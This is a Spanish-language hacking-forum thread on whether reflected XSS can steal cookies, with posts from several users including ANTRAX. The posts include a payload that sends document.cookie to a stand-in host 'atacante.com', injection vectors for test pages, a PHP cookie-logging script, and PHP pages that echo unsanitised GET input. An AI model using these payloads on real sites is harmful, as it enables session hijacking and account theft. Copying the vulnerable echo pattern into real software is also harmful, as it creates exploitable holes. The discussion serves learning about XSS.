[SOLUCIONADO] ¿Es posible robar cookies con un XSS Reflejado?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>

Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX

CitarVector: xss.php?color=red"></font><script>window.location='No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script><font>

CitarVector: xss.php?str=<h1 onmouseover='document.body.innerHTML = "XSS";'>test</h1>

<?php
error_reporting(0);
define('ROOTPATH', dirname(__FILE__));
$cookie 	= $_GET['c'];
$log		= fopen(ROOTPATH . "/logs.txt", "a");
$format 	= "Cookie: %s\n\n";
$print		= sprintf($format);
fwrite($log, $print);
fclose($log);
?>

<?php

$color = $_GET['color'];
echo "<font color=\"$color\">Hello, world!</font>";

if(!isset($_COOKIE['randcookie']))
{
	$random = rand();
	setcookie('randcookie', $random);
	$_COOKIE['randcookie'] = $random;
	echo "<br/><br/>Random cookie does not exist, creating a new one!";
}

?>

<?php

$str = $_GET["str"];
print $str;

?>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!